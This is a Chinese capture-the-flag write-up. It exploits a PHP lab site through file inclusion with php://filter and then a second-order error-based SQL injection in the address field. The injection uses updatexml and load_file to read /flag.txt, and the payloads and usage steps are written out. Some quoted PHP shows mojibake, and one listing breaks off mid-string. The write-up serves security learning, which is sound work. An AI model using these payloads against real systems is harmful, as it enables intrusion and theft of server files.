剛比賽完的一段時間期末考試雲集,沒有時間復現題目。趁着假期,爭取多復現幾道題。
復現平台
buuoj.cn
解題過程
首先進入題目頁面
看起來沒有什么特別的,就是一個可以提交信息的頁面。查看響應報文也沒有什么提示,但是在網頁注釋里有東西。
<!--?file=?-->
這里可能有一個文件包含,嘗試payload
http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
結果得到了當前頁面經過加密后的源碼
有關偽協議的內容,可以大致參考下這篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
//HTML頁面的代碼省略,保留之前說的注釋
<!--?file=?-->
用同樣的方法,根據表單中暴露的位置,獲取confirm.php,change.php,search.php等頁面的內容。
<?php
#change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åä
<?php
#search.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
#無用的HTML代碼省略
分析代碼可以知道,每個涉及查詢的界面都過濾了很多東西來防止SQL注入,而且過濾的內容非常廣泛,很難進行注入。
但是盡管username和phone過濾非常嚴格,而address卻只是進行了簡單的轉義。經過分析便找到了可以利用的地方。這里提取了一些change.php中和address相關的部分。
$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
可以看出,address會被轉義,然后進行更新,也就是說單引號之類的無效了。但是,在地址被更新的同時,舊地址被存了下來。如果第一次修改地址的時候,構造一個含SQL語句特殊的payload,然后在第二次修改的時候隨便更新一個正常的地址,那個之前沒有觸發SQL注入的payload就會被觸發。
思路有了以后,接下來就是構造payload,下面將借助報錯注入來構造payload。
payload構造
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
直接load_file不能顯示全,這里分兩次構造payload。
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
結果如下
payload使用
兩個payload的使用方法為:
先在初始頁面隨便輸數據,記住姓名電話
接着修改地址,地址修改為所構造的payload。修改之后再次修改,將地址設置為隨便一個正常值,比如1,這樣就能看到報錯頁面。
如果想要使用新的payload,只需要刪除訂單在重復以上操作即可。